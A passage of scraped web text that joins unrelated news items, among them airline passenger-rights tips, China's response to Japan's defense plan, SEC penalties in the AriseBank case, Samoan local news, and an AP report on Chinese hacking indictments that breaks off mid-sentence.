for a flight than seats available is a common practice in the airline industry, the company says. The airline cannot get away with offering you a food voucher as consolation. If youre bumped and you dont volunteer to deplane or take another flight, you can be eligible for compensation of up to $1,350, depending on the value of your ticket fare and ultimate delay in arrival to your final destination. AirHelp says that on domestic flights, passengers may be entitled to up to twice the cost of a one-way ticket if a flight arrives two hours late and up to $1,350 if it is more than two hours late. Luggage is less likely to get lost in this era of automatic scanners, but should it happen, AirHelp points to a regulation called the Montreal Convention that says passengers are entitled to compensation if a bag goes astray or is damaged or delayed. If your luggage is damaged, make sure to file a report within seven days, and complaints for delayed luggage should be filed within 21 days, AirHelp says. Make sure to always hold on to your receipts, because you can be reimbursed for anything that was lost or damaged that you needed for your trip. For example, if you have to buy a suit for an important meeting, you can get reimbursed for the suit so you can replace it. AirHelp says fliers dont need to leave their pets behind, but they should check with the airline so they know exactly what the current rules are, which vary from one airline to the next. For example, some airlines only allow assistance or guide dogs to travel in the cabin, AirHelp says. Others base their fees on your pets size and weight, plus their carriers measurements. When making the decision of whether to bring your pet along, you should consider: the size of your pet, the pet carrier, pet/dog carrier fees, the temperament of your four-legged friend, and the airlines overhead bin space availability. Welcome Guest! You Are Here: Moving to a new city can be full of anxiety and excitement. When you feel scared, you cant enjoy the... Most real estate agents have an obligation to market their business to potential clients. You have to make sure that... Were sure you already know, but lets repeat: Burlington is a city located in the Halton, Ontario area. It is... A personal injury occurs when a person's body, mind, or emotions are injured due to the negligence, carelessness, or wrongful... I Agree This website uses cookies. By continuing to use this website you are giving consent to cookies being used. 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Beijing says Tokyo's military move is not conducive to improving relations Tokyo's approval of a new defense plan for the next five years, which outlines China as a "potential threat", was strongly opposed by Beijing and criticized by experts who said it may increase instability in Northeast Asia. Japan's government approved its new National Defense Program Guidelines and the midterm defense program on Tuesday, which marks a significant upgrade of Tokyo's military capabilities, including the introduction of the first aircraft carrier since World War II, the deployment of long-range missiles, and the development of cyber and space warfare capabilities. The guidelines said the efforts are necessary given "growing defense challenges in the region", namely tensions on the Korean Peninsula and "concerns about China's military footprint". Beijing on Tuesday expressed strong dissatisfaction and opposition to Tokyo's "false claims and irresponsible remarks" concerning China's "normal defense construction and military activities". "The contents of the Japanese documents about China are old-fashioned, and they have made false claims and irresponsible remarks about China's normal defense construction and military activities," Foreign Ministry spokeswoman Hua Chunying said. "What Japan has done is not conducive to the improvement of the Sino-Japanese relationship, nor to the overall peace and stability of the region." The plan is controversial both in Japan and overseas, with critics arguing it shifts Tokyo further away from its commitment to strictly defensive capabilities under Japan's post-World War II pacifist constitution. However, Japanese Chief Cabinet Secretary Yoshihide Suga said on Tuesday that "we believe this is within what is allowed under the constitution". The plan assumes record military spending of 27.47 trillion yen ($244 billion) through March 2024, according to Japan's Kyodo News. It calls for the defense ministry to upgrade two flat-top Izumoclass destroyers to enable them to launch fighter jets with short takeoff and vertical landing abilities, like the F-35B stealth fighter. In a move so as not to contradict its "defense-only" policy, the plan said the new Izumos "will not be an offensive aircraft carrier" because the fighters will "only be used on the vessel in emergencies or for training". Hua urged Tokyo "adhere to its commitment of a 'defense-only' policy and act cautiously in the field of military and security". Japanese military commentator Maeda Tetsuo said there is no way to justify the plan for upgrading the destroyers to become an "offensive" carrier with fighter jets on board. Some analysts echoed that having "offensive" weapons is in direct contravention of the pacifist constitution, a key clause of which reads that "land, sea, and air forces, as well as other war potential, will never be maintained". China targeted Song Zhongping, a military commentator, said Tokyo's plan was "obviously targeting China" and would make an already fragile Sino-Japanese relationship even more uneasy. He added that Japanese Prime Minister Shinzo Abe is using the defense plan to bolster his approval ratings. "Any move to build its first aircraft carrier would not only violate its pacifist constitution - which forbids it from operating such an attack vessel - but would also make China and other countries that were victims of its aggression (in World War II) very uneasy," he said. Wu Jinan, a Japanese studies expert, said in a period when the denuclearization negotiations on the Korean Peninsula are underway, Tokyo's plan might provoke a backlash and may intensify naval competition in the Northeast Asia. The U.S. Securities Exchange Commission (SEC) stated that two former executives of AriseBank have been ordered in federal court to pay nearly $2.7 million in fine for allegedly running a fraudulent Initial Coin Offering (ICO). The ICO was stopped by the SEC in late January and it filed a complaint in federal district court in Dallas. The federal court also prohibited the two executives - then-CEO Jared Rice Sr. and then-COO Stanley Ford - from serving as officers or directors of public companies or participating in future offerings of digital securities. The executives were accused of offering and selling unregistered investments in their purported "AriseCoin" cryptocurrency. They also wrongly depicted AriseBank as a first-of-its-kind decentralized bank offering a variety of services to retail investors. "The officer-and-director bar and digital securities offering bar will prevent Rice and Ford from engaging in another cryptoasset-based fraud," said Shamoil Shipchandler, Director of the SEC's Fort Worth Regional Office. According to the order, Rice and Ford agreed to be held jointly and severally liable for $2,259,543 in disgorgement plus $68,423 in prejudgment interest, and each must pay $184,767 penalty. They also agreed to lifetime bars from serving as officers and directors of public companies and participating in digital securities offerings, and permanent prohibitions against violating the antifraud and registration provisions of the federal securities laws. Rice and Ford agreed to the settlements without admitting or denying the allegations in the SEC's complaint. In January, the SEC had halted and froze the assets of AriseBank for offering and selling unregistered investments in their purported "AriseCoin" cryptocurrency. Texas Banking Commissioner Charles Cooper also issued a Cease & Desist Order relating to AriseBank, which claimed to be a "cryptocurrency bank". The watchdog said the firm was violating law by using the term "bank" in its name and marketing materials to imply that it is in the of banking. For comments and feedback contact: editorial@rttnews.com Business News The Trump administration's attempt to deny asylum to immigrants seeking safety from domestic and gang-related violence in their home countries suffered another major setback as a federal judge in Washington, D.C., permanently blocked the government's "expedited removal" policy. Judge Emmet Sullivan Wednesday struck down the policy saying that it is contrary to the Immigration and Nationality Act, the Refugee Act, and the Administrative Procedure Act. The judge held that there is no legal basis for an effective categorical ban on domestic violence and gang-related claims. In a dramatic shift from past practice, the then Attorney General Jeff Sessions in June unveiled strict new limitations on asylum applicants, asserting that victims of domestic abuse and even gang violence would no longer qualify for such protection. Considering a lawsuit by the American Civil Liberties Union on behalf of 12 plaintiffs, half of whom were hurriedly deported under the order, the court stayed the government order. ACLU and the University of California's Hastings Center for Gender and Refugee Studies brought the lawsuit on August 9 on behalf of 12 adults and children who all had their asylum claims wrongfully rejected at the "credible fear" screening stage based on the unlawful policy. As part of the injunction, the court ordered the government to bring the plaintiffs who were wrongfully removed under this policy back to the United States so that they can pursue their asylum claims. Under the court's order, they will receive a new credible fear interview and their expedited removal orders will be canceled. The White House responded to the development by saying that the court has once again overridden and undermined United States immigration law. "Today's ruling will further overwhelm our immigration courts with meritless cases, making the existing massive backlog even worse," said a statement from the Press Secretary. The White House expressed concern that the court order will also encourage more illegal immigration to the United States, "to the benefit of ruthless smuggling organizations that too often victimize young women and children". For comments and feedback contact: editorial@rttnews.com Business News Arguing he is only following through on a campaign promise, President Donald Trump defended his decision to withdraw U.S. troops from Syria in a series of posts on Twitter on Thursday. Trump claimed his decision to pull out of Syria was "no surprise" even though lawmakers from both sides of the aisle have said they were caught off guard by the move. "I've been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer," Trump tweeted. "Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there [sic] work. Time to come home & rebuild." Trump suggested the U.S. has been acting as the "Policeman of the Middle East" but getting nothing in return from the people there, who he claimed mostly do not appreciate what the U.S. is doing. "Do we want to be there forever? Time for others to finally fight," Trump said, predicting Russia, Iran, and Syria would be unhappy with the move because they will have to battle ISIS and others without help from the U.S. Despite Trump's claim about Russian unhappiness, Russian President Vladimir Putin told reporters he thinks the president made the "right decision." "Whether do we need the presence of the American military, I guess we do not need that presence," Putin said. "The presence of your troops is illegitimate so if you've made this decision it is the right decision." However, Putin expressed skepticism about whether the U.S. would fully withdraw from Syria, noting Russia has not seen any signs of a U.S. withdrawal. Trump's suggestion that Russia, Iran, and Syria would need to continue fighting ISIS also seems to undercut his claim on Wednesday that the terrorist group has been "defeated." (Photo: Gage Skidmore) For comments and feedback contact: editorial@rttnews.com Business News NO.1: SCO defense cooperation reaches a new level Event replay: On April 23, 2018, Chinese President Xi Jinping met with the defense ministers from member states of the Shanghai Cooperation Organization (SCO). On April 24, the first formal meeting of SCO defense ministers after the expansion of the SCO was held in Beijing. From August 22 to 29, 2018, the Peace Mission-2018 joint anti-terrorism military exercise of the SCO member states was held in Russia, with a total participating strength of more than 3,000 personnel. Reason for listing: After the expansion of the SCO, the space for pragmatic cooperation in the field of defense and security has been further expanded. Peace Mission-2018 was the joint exercise with the most troops, the most equipment, and the most new types of combat forces to be put into use compared with all previous SCO exercises. It was also the first time that both India and Pakistan simultaneously participated in a military exercise after their independence. NO.2: Beijing Xiangshan Forum opens new perspectives Event replay: From October 2th to 26th, the 8th Beijing Xiangshan Forum, co-hosted by the China Association for Military Science (CAMS) and the China Institute for International Strategic Studies (CIISS), was held in Beijing. Chinese President Xi Jinping sent a congratulatory message to the forum. Representatives at the meeting exchanged ideas and discussed various topics under the theme of Building a New Type of Security Partnership of Equality, Mutual Trust, Win-Win Cooperation . Reason for listing: The forum was the first time to be titled with Beijing, and the scale of foreign official delegations and the number of high-ranking officials participating in the meeting hit new heights. NO.3: China's first participation in Russian strategic military drills Event replay: From September 11st to 15th, the Chinese troops participated in the Russian Vostok-2018 strategic military drills at the Tsugol training range in Russias Trans-Baikal Region, the largest strategic exercise organized by the Russian military in recent years. They also jointly held joint operational exercises. Reason for listing: This is the first time that the Chinese troops have participated in the Russian strategic military drills. It was also the largest outbound performance in the history of the Chinese military. The Chinese side sent a military force of about 3,200 troops, as well as more than 900 weaponry equipment and 30 fixed-wing aircraft and helicopters. NO.4: China-US military relations play an active role in the stability of bilateral ties Event replay: On November 9th, Chinese State Councilor and Defense Minister General Wei Fenghe attended the second round of the China-US Diplomatic and Security Dialogue in Washington, DC, US, and held talks with the US Secretary of Defense James Mattis, which was the third meeting of the two defense ministers in five months. From November 12nd to 19th, Chinese and US militaries held the US-China Disaster Management Exchange 2018 in Nanjing, capital of Jiangsu Province of China. Reason for listing: In the context of the complex and sensitive relationship between China and the United States, the Chinese and US militaries have kept strategic communication, strengthened institutional dialogues and exchanges, promoted pragmatic cooperation at all levels, and worked hard to maintain constant relations between the two militaries in accordance with the important consensus reached by the two heads of state. This has added positive energy to the relationship between the two countries. NO.5: China-ASEAN defense and security cooperation brings forth fruitful achievements Event replay: From October 19th to 20th, Chinese State Councilor and Defense Minister General Wei Fenghe attended the 9th ASEAN-China Defense Ministers Informal Meeting and the 5th Association of Southeast Asian Nations (ASEAN) Defense Ministers' Meeting (ADMM)-Plus. From October 20th to 29th, the China-Malaysia-Thailand Peace and Friendship 2018 joint military drill was held in Malaysia. From October 22nd to 28th, the China-ASEAN Joint Maritime Exercise-2018 was held in Zhanjiang city of south Chinas Guangdong Province. Reason for listing: The first joint military drill of China, Malaysia and Thailand, and also the first maritime joint exercise between China and ASEAN countries, fully reflected the effective implementation of the Declaration on the Conduct of Parties in the South China Sea (DoC). NO.6: Chinese Peace Train 2018 medical team delivers emergency assistance to Laos Event replay: From July 22nd to August 7th, Chinese military Peace Train medical team went to Vientiane, Laos, and took part in the "Peace Train 2018" China-Laos humanitarian and medical joint rescue exercise with the Laotian military medical team and delivered medical services to local people. Reason for listing: The Chinese "Peace Train" medical team already went to Laos to carry out a medical service mission in 2017, but this was the first time it took part in a joint training combining the two military medical units. The Chinese medical team was entrusted with the mission at a critical moment this time and was directly transferred from the joint training to the in-situ rescue. NO.7: China achieves splendid results in the International Army Games (IAG) 2018 Event replay: From July 28th to August 11th, the International Army Games (IAG) 2018 was held. The Chinese troops went abroad to participate in 18 competition events and hosted 4 competitions in China, winning a total of 4 first prizes, 15 second prizes, and 2 third prizes on the team games. Reason for listing: This is the fifth consecutive year of Chinese troops' participation in and the second year of its hosting of the competitions. It is also the first time the Chinese People's Liberation Army (PLA) Navy has hosted the "Seaborne Assault" competition. Chinese participating officers and soldiers made progress after every game, and meanwhile effectively tested and improved their levels of actual combat training in competing with their foreign counterparts. NO.8: First China-Africa Defense and Security Forum helps China-Africa cooperation Event replay: From June 26th to July 10th, the first China-Africa Defense and Security Forum hosted by the Chinese Ministry of National Defense was held with the theme of "Working Together, Helping Each Other." Fifty African countries as well as African Union (AU) defense departments and military representatives attended the forum. Reason for listing: The success of the first forum has set a good start for China-Africa defense and security cooperation in the new era, enhanced and deepened China-Africa comprehensive strategic partnership, and demonstrated the broad prospects for strengthening China-Africa defense and security cooperation. NO.9: SCO member states military bands take part in "Fanfare for Peace" Event replay: From April 24th to 25th, the 5th "Fanfare for Peace" Military Tattoo of the Shanghai Cooperation Organization (SCO) was held at the Juyongguan Pass of the Great Wall in Beijing. Military bands from eight SCO member countries participated in the Military Tattoo. Reason for listing: This military band festival was held for the first time after the expansion of the SCO. Both India and Pakistan sent military bands to play the clarion call for peace and friendship with the other six SCO members' military bands. NO.10: 10 years of Chinese PLA Naval escort missions Event replay: On December 9th, the 31st Chinese naval escort taskforce departed from a military port in Zhanjiang city of south China and headed to the Gulf of Aden and the waters of Somali to carry out escort missions. Reason for listing: Since December 26th, 2008, the Chinese PLA navy has begun to send taskforces to the Gulf of Aden and the Somali waters to carry out escort missions. Over the past decade, they have escorted nearly 1,200 batches of about 6,600 Chinese and foreign vessels, and rescued more than 60 ships in distress. And they have kept a "two 100-percent safety" record both for the rescued vessels and for the taskforces themselves. Dear Editor Re: Ten more Church Ministers in Court I have already shared the observation that the Beast in the Biblical Book of Revelation is increasingly coming from the Samoan Parliament, in particular through the unconstitutional and unGodly and UnSamoan Law to tax Church Ministers. Now we are seeing how the Parliament is determined to disgrace the E.F.K.S. Church for the whole world to see. This brings memories of the Arrogance, and Rudeness of Colonial Governments which led to many Resistant Movements like the Mau Movement, and eventually to the Restoration of Samoan Cultural and Political Sovereignty in 1962. For the Samoan Government, the foolish and negative significance of a certain Political Truism becomes its choice - Desperate times require desperate measures. For the E.F.K.S., the writing is always on the wall in relation to worldly powers arrogating to themselves dictatorial power to rule. And the beast is sure to fall. The E.F.K.S. should speak out clearly in public that she has lost faith in the present Government. Danny Ioka The Church of Jesus Christ of Latter Day Saints is helping to spread Christmas cheer this festive season. It is doing this with the Lighting the World My Island Christmas event, which started last Friday. On Tuesday night, the Tafatafa Ward, Pesega 2 Ward, Savaii Samoa Sagone Stake, Motoouta 1 Ward, Upolu Samoa South Stake dance groups performed. My Island Christmas is not a new event, Elder Fata said. It started in 1992 but was stopped after the first temple had burnt in 2003. In 2015, he decided to revive it. The purpose of having this event annually is so that all sects of religions and people come together. The theme this year is to Light the World and there is no better way of lighting up the world than serving and sharing the experience together, Elder Fata explained. He also explained that he is in support of the C.C.C.S. 13 days of Christmas countdown and further explained that My Island Christmas was not a competition. We have worked alongside other churches in hosting this event in the past times and we are grateful for the participation. But the whole purpose of My Island Christmas is for the whole nation and the spirit of giving, there is no competition. We have had a wonderful performance by the C.C.C.S. choirs the previous nights and as well as other organizations. So far it has been a spectacular, Elder Fata said. My Island Christmas will conclude on Sunday, 23 Dec. Samoa has the ability to process and produce foods that can be consumed anywhere in the world, and the University of the South Pacific has taken on this initiative. The Alafua campus is the first campus in the region to help increase and empower people with economic and nutritional benefits with its food processing facility. They have developed 70 more new healthy process products from indigenous and natural ingredients, which include tea, flour powder, dried fruits and vegetables, baked products, candies, juice, ice cream, purees, jellies, jams, marmalades, pickles and sauce, which are made from various crops. Some crops include breadfruit, papaya, guava, mango, starfruit, root crops such as taro, cassava, yam, sweet potato, vegetable such as okra, cucumber, kangkong, ampalaya etc., and they are loaded with nutrients, vitamins, minerals and antioxidants that fight cancer, diabetes and hypertension. We want to do food processing at the level that people can do it in the village level. We want to train the women, empower them with economic benefits, and also economically and nutritionally they will be well off, said Campus Director Professor Mohammed Umar. Out of 12 foods that 75 percent of the people eat, eight are found in the Pacific, so whatever we do here in Samoa with the local ingredients can easily be eaten and tried in Fiji, Tonga, Solomon Islands because we all grow the same thing. Out of the 70 processed products, green tea, breadfruit flour and cassava chips have been selected, prepared, and awaiting for food quality and safety assurance health certificate at the Ministry of Health and Commerce, Industry and Labour for commercialisaton. We use local fruits grown here in the farm. In terms of food security we process these root crops and vegetables to store them longer, and you can make it into snack for future use, said Food and Technology lecturer Alminda Fernandez. By having a food processing facility, you can use all the wastage. If we can harvest and sell or use all those fruits and crops, than we can save 30 percent of all post-harvest losses, Prof. Umar added. If you can process the Pacific commodities, you can increase the production by 30 percent, not by increasing what you plant, but saving the ones you planted. Prof. Umar said the Campus wants to develop their programme to an extent that it replaces imported junk foods. We should be able to use our own produce from within the Pacific or at the country level. There are so many advantages, one, the farmers can then sell their products to us, we process it, and then they will also have the ability to train people in their villages. Except for these three products we are looking to commercialise, we will try and train people on how to utilise the other products in the best effective ways, with basic materials available in their homes. Ms. Fernandez is still in the process of compiling the course contents before the Campus can offer them under the Certificates programme in 2020. In this way, students who graduate will be able to provide for themselves economically. They can be self-employed, using the knowledge and skill they acquire from here, and the basic equipment they have in their own homes to produce quality products from their farms, Prof. Umar said. The Anglican Church has appealed to the Samoan Government to condemn human rights violations in the restive Indonesian province of West Papua. The Bishops of the Anglican Church in Aotearoa, New Zealand and Polynesia issued a public statement recently, expressing deep disappointment at what they described as the continued suppression of the first people of West Papua. The Bishops said they are praying that the Indonesian authorities will halt all state-sanctioned abuse and violation of human rights there. Australias SBS Television recently reported that Indonesia has rejected renewed West Papuan separatists demands for independence, and the deployment of United Nations peacekeepers, as the death toll mounts after almost two weeks of fighting in the Papuan province. The Bishops have proposed a four-fold course of action for the governments within the Anglican Churchs jurisdictionNew Zealand, Fiji, Tonga Samoa, American Samoa and the Cook Islandsto take. These actions include putting West Papua on the agenda in international forums, and tracking the sale of West Papuan-sourced goods which accelerate the marginalisation of West Papuan people from their own land, with a view to banning imports. As Bishops of the Anglican Church in Aotearoa, New Zealand and Polynesia, we express our deep disappointment at the continued suppression by the Indonesian government of the basic human rights of West Papuan people. We stand with our sisters and brothers in West Papua in their struggle to determine their own political destiny, and we pray that the Indonesian government will halt all state-sanctioned abuse and violation of human rights there. The House of Bishops of the Anglican Church in Aotearoa, New Zealand and Polynesia also calls upon each government represented within its jurisdiction to clearly express support for the people of West Papua in the redress of their historical injustices, the Bishops said in a statement. They condemned ethnic violence targeting the indigenous Melanesian population, the refusal by the Indonesian government to give them their rights to self-determination, and the abuse of their natural resources by foreign corporations. We urge our governments to continue to draw attention to the sustained ethnic violence and ongoing denial by the Indonesian government of the first peoples right of self-determination, and the abuse of their natural resources by foreign corporations. We also commend the political leaders of Pacific Island countries such as Vanuatu, the Republic of the Marshall Islands, and Tuvalu, who continue to draw international attention to the plight of the peoples of West Papua, the Bishops added. Seb Kohlhase reeled in a blue marlin weighing in at 500.97 lbs (227kg) which was caught 30 miles off Aleipata. Samoa Roy Lee told the Samoa Observer that it took Mr Kohlhase some time to reel it in. Seb took two hours to reel in this monster in difficult situation with the weather conditions. However, his years of experience was an incredible effort given his age but his determination to land the last fish of the year was such an incredible moment. The fish was caught by Yellowfin crew on their way back from American Samoa, he said. Mr Lee further stated it was a difficult fish to land but Seb's effort together with the two deckhands made it possible. Attorney General, Lemalu Hermann Retzlaff, has called for peace and calm in the wake of recent tragic events in Samoa, including the death of Malaki Jeremiah Tauiliili. The call is made in a statement issued by the Attorney General to the Samoa Observer yesterday, as the country counts down to Christmas next Tuesday. This is an extremely difficult season and situation and our hearts go out to the family of the young man who has passed away, and all families who have lost loved ones to criminal activity this year, the statement said. We ask for peace and calm at this time while we work through the difficult procedures and legal steps required for this matter. Attorney General Lemalu said that the investigation is ongoing with charges laid against the suspects. Two men accused of manslaughter have already appeared before Court and are scheduled to re-appear for mention on Monday. He said its important for people to remember that the process is underway and needs to take its course. We respectfully urge therefore for calm while we attempt to undertake this difficult task the best we can, he said. We also ask for a peaceful approach as any further unfortunate incidents can only make matters worse. We at Law Enforcement have a sworn duty to uphold the Rule of law and the Constitution of our Country. Rest Assured, we remain committed to this Oath. God's Peace this Xmas. Samoans here and abroad are registering for the first funeral insurance product, launched by Apia Insurance Company (A.I.C) in October. Project manager Rosemary Tone said shes been pleased to see a positive uptake, nearly reaching their target for 2018. I dont think anyone has come in without being excited about being able to do this for their family, or their parents, she said. Ms Tone attributes the uptake success to the research A.I.C put in before the launch, to ensure applying for funeral cover would be as simple as possible, like having a one-page form and no prerequisite requirements like medical checks. Many people pop into the offices citing the television adverts, and asking for the product to be explained a little more, she said. In that one conversation theyre more able to understand it, and taken the forms home then come back with them signed. Getting employers on board with group funeral cover for their employees is also a priority for AIC. Ms Tone said she has been meeting with several banks and other businesses to take up group cover as a staff benefit. Next year, the company will dispatch sales teams to Savaii, to pitch funeral insurance to large gatherings across rural Samoa. Well want to contact district leaders and village leaders to gather people in one place to share, and raise awareness about what kind of financial services people can be taking on. It will be critical to get the messaging right, Ms Tone said. Some people may not understand the concept of insurance at all. Thats probably a challenge thats coming. I think in rural communities; the idea of insurance may just be getting car insurance. But sharing with them that there are other products they can be looking into, and that this is one of them, will be really good. Ms Tone said it hasn't been difficult convincing people of the way insurance can unburden them of expensive and often debt-inducing funerals. People across all ages dont want that burden left to their families, she said. Weve been welcomed, I guess, into these homes because theyve seen it as an assistance, something to help their families, and that experience has been a positive one. The fact is, people are having these needed conversations, and that is positive, Ms Tone said. For those in the rural communities who aren't engaged in the formal financial sector, and likely don't use banks, A.I.C is still trying to make life simple. Thats why weve given the option of cash, Ms Tone said. Were taking on that administrative cost because we want to make sure these people feel they can participate and are included. A.I.C is also in the early stages of exploring mobile money solutions, so those without bank accounts or access to a bank can pay for their cover over the phone. Government Ministries have yet to give an update on the status of investigations into the alleged misappropriation of $100,000 belonging to the Ministry of Justice and Courts Administration. Last month the Ministrys Assistant Chief Executive Officer, Veatauia Faatasi Puleiata confirmed that a police investigation was underway into the alleged misuse. Inquiries by the Samoa Observer to the C.E.O. of Ministry of Justice and Courts Administration, Papalii John Taimalelagi, have not been responded to. Emails were also sent to the Ministry of Police, Deputy Commissioner Papalii Monalisa Keti in relation to the investigation, but to date have not been answered. This newspaper has been informed that two officials, who were allegedly at the center of the investigations, are back at work. The preliminary investigationwhich was initiated by the Ministry of Financebegan in September this year. Police confirmed that they began their investigations after they were alerted to the matter by the Ministry of Finance, due to the large amounts of public funding involved. Its still ongoing but so far funds misappropriated amounts to more than $100,000 (though, it may be more), said the police officer. Two new ambulances and a van were awarded to the Fire and Emergency Services Authority (F.E.S.A) yesterday thanks to a generous donor. The Accident Compensation Corporation (A.C.C) donated the vehicles, spending approximately T$540,000 to ensure more lives can be saved at the scene of an emergency. In a ceremony at the F.E.S.A headquarters in Apia, Commissioner Lelevaga Faafouina Mupo said he was grateful to A.C.C for providing the vehicles. Prime Minister Tuilaepa Dr Sailele Malielegaoi gave the keynote address at the ceremony, and A.C.C Minister Lautafi Selafi Purcell ceremonially cut a ribbon, followed by a tour of the vehicles for the government and diplomatic guests. F.E.S.A paramedics and firefighters demonstrated the use of sliding stretchers, and the various things ambulances are kitted it with. These will be more comfortable, and helpful for F.E.S.A to carry out their duties, especially medical operations throughout the country, Lelevaga said. We cooperate with the National Health Services, as F.E.S.A is for the public. He said his staff is well prepared and trained to handle victims of accidents or problems, and the vehicles will make the work better. We have a really special appreciation for the minister, chairman, the board and management of the A.C.C for this great assistance, by providing these vehicles, said Lelevaga. A.C.C chief executive officer Muliagatele Masoe Makerita Matafeo said the process has taken nearly a year to complete, and Minister Lautafi said providing this necessity to the service was invaluable. F.E.S.A identified this need they have. They havent got any of these, so the A.C.C opted to fund them. A climate change project led by the Samoan Government and supported by the United Nations Development Programme (UNDP) since 2012 has been closed. The closing of the project was held yesterday at the TATTE Building in Apia and attended by representatives from various Samoan Government ministries as well as the Civil Society Support Programme. The Enhancing Resilience of Coastal Communities of Samoa to Climate Change project was approved in March 2012 by the Adaptation Fund (AF) Board and run by the Government with the UNDP providing technical support. Its objective was to strengthen the ability of Samoan communities and public service to make informed decisions and manage climate change-driven pressures, in a pro-active, integrated and strategic way. Speaking on behalf of the UNDP yesterday, programme manager Yvette Kerslake thanked the various stakeholders and said the project was successfully implemented since the project documents signing November 2012. This project is an important milestone for implementation of climate change adaptation and sustainable development for Samoa it has contributed to the development of Samoa and strategic planning in line with the Government of Samoa Development Strategic, the Samoa pathway and also assists to contribute to the 2030 global agenda or the Sustainable Development Goals. UNDP as the development arm of the United Nations is implementing AF goals by working with the governments and stakeholders in developing countries to assist them in accessing financing to build their capacities in developing and implementing climate change adaptation measures, she said. The objectives of the project were to ensure Samoan communities and the public service made decisions, added Ms. Kerslake, and managed climate change-driven pressures in a pro-active, integrated and strategic manner. She said the programme had been part of a comprehensive framework of coastal adaptation and climate risks mitigation in Samoa. It upgraded previously implemented Coastal Infrastructure Management (CIM) Plans in order to consider climate change-induced effects in their formulation, she added. According to the UNDP programme manager, the project would not have been successful without the support of all partnerships and stakeholders ranging from national to sub-national levels including the local communities, non-governmental organisations and the private sector. I hope this partnership created through the AF project will continue to prosper through an extension or phase two for the project to implement the newly developed CIM plans. This is just the beginning for the Samoa Cares campaign in institutionalizing the CIM plans across the sectors of government, she added. The project has now been handed over to the Samoan Government. A commanding officer observes the sea conditions in a Chinese warship during the joint patrol. HAIKOU, Dec. 20 (ChinaMil) -- "We brought our joint patrol to a successful conclusion. Thank you for your cooperation and we hope China-Vietnam friendship will last forever! Have a safe journey home! Goodbye!" Officers and soldiers from the formation of the frigate flotilla of a naval base under the Southern Theater Command of the Chinese People's Liberation Army (PLA) and the Vietnamese ship formation bid farewell to each other after arriving at the end of the patrol line. It marked the successful completion of the 25th joint patrol in the Beibu Gulf between the Chinese and Vietnamese navies. China and Vietnam each assigned two naval vessels to participate in the joint patrol. During the joint patrol, the fleet sailed for nearly 30 hours and they made information exchange on hydrological meteorology, sea and air conditions, formation course and speed, enhancing mutual maritime communications and resource sharing. In order to strengthen the capability of maritime cooperation, the two sides worked closely to improve patrolling tactics, including exchanging command relations and alternately commanding the joint patrol formation. They have also made improvement in the joint patrol organization and commanding procedures, and further deepened mutual understanding and coordination. According to the schedule, the two sides also organized the joint search and rescue exercises. After receiving the order to "rescue the vessels and personnel in distress", the joint patrol formation immediately started the rescue deployment and set sail to the designated sea area for joint search and rescue. The commanding ships from both sides exchanged information on the location of the vessel in distress, the nature of the distress situation and related weather conditions. China and Vietnam have conducted 25 joint patrols since the Agreement on Joint Patrols by the Navies of China and Vietnam in the Beibu Gulf was signed in 2005. The joint patrol aims to carry forward the traditional friendship between the two countries and deepen mutual understanding and mutual trust. The joint patrol is also of great significance to maintaining mutual security and stability of the Beibu Gulf, strengthening mutual understanding between the two navies, and promoting the healthy and stable development of China-Vietnam military relations. The two sides will further enrich the content of the future patrol missions based on the normalization of China-Vietnam joint patrols. The two sides will also enhance the capability to jointly respond to maritime security issues, maintain the order and stability in the Beibu Gulf and common fishing zone, deepen exchanges and cooperation, enhance friendship, and promote the healthy and stable development of the bilateral military relations through carrying out joint search and rescue, providing convoy escort or fishery protection vessels, as well as conducting anti-terrorism and anti-piracy exercises. Think a minute The famous car manufacturer Henry Ford was the first to use the assembly line in his factory for mass production. His company built and sold hundreds of cars each and every day. But one day the big generator that produced all the electricity for Fords factory suddenly stopped working. The entire factory shut down, costing Ford a massive amount of money. He quickly called one of the nations top engineers to come fix it. The expert engineer soon arrived and began examining and tinkering with the big generator. After only one hour, the engineer had found the problem and fixed it! Immediately Fords factory began making cars and money again. A few days later Ford received the bill in the mail from that top engineer for fixing Fords factory generator. The bill was $10,000! Ford could not believe how expensive it was, so he called the engineer on the phone. He said: Excuse me, Sir, but isnt $10,000 rather high for just 1 hour of tinkering? The engineer replied: Mr. Ford, Im charging you $10 for my one hour of tinkering, and $9,990 for knowing WHERE to tinker! Ford answered: I guess youre right. And Ford paid the engineer his $10,000. People usually accept your own estimate of yourself. They give you the same worth you give yourself. So dont sell yourself short! Im not saying we should go around full of pride, thinking we are better than other people. But if you have special abilities, training, or experience in a certain skill, then you have reason to be confident in your work and charge what youre worthwhether it be with computers, sales, carpentry, construction, business, farming, teaching, music, etc. Obviously, the One Who really knows your abilities is the One Who designed and made you. In fact, no matter what the world says your value is, your real worth comes from how much your Maker paid for you. God Himself paid for you with His own life. He actually became a human being to die for all of your sins, so you could choose not to be separated from Him and live in the worst agony forever. Today, wont you ask Jesus to forgive you for all of your wrong living and sins, and to become the Lord of every area of your life? It is only then you can start learning your real worth from the One Who designed and created you. Just think a minute WASHINGTON (AP) U.S. officials say two Chinese citizens acting on behalf of their country's main intelligence agency carried out an extensive hacking campaign to steal data from military service members, government agencies and private companies in the United States and nearly a dozen other nations. It was the latest in a series of Justice Department indictments targeting cyberespionage from Beijing. The two are accused of breaching computer networks in a broad swath of industries, including aviation and space, banking and finance, oil and gas exploration and pharmaceutical technology. Prosecutors say they also compromised the names, Social Security numbers and other personal information of more than 100,000 Navy personnel. All told, prosecutors say, the alleged hackers identified as Zhu Hua and Zhang Shillong stole "hundreds of gigabytes" of data, breaching computers of more than 45 entities in 12 states. They are not in custody. U.S. law enforcement officials described the case as part of a trend of state-sponsored hackers breaking into American networks and stealing trade secrets and confidential and valuable information. More than 90 percent of Justice Department economic espionage cases over the last seven years involve China, said Deputy Attorney General Rod Rosenstein, and more than two-thirds of trade secrets cases are connected to the country. "China's state-sponsored actors are the most active perpetrators of economic espionage," FBI Director Chris Wray said Thursday in announcing the case. "While we welcome fair competition, we cannot and will not tolerate illegal hacking, stealing or cheating." Last week, officials from the Justice Department, the FBI and the Department of Homeland Security testified to the Senate Judiciary Committee that China is working to steal trade secrets and intellectual property from U.S. companies in order to harm America's economy and further its own development. Those efforts have continued even after Beijing committed in 2015 to halting the theft of trade secrets following a first-of-its-kind indictment that accused Chinese hackers of stealing corporate data from brand-name U.S. companies. "We want China to cease illegal cyber activities and honor its commitment to the international community, but the evidence suggests that China may not intend to live up to its promises," Rosenstein said. In recent months, the Justice Department has filed separate cases against several 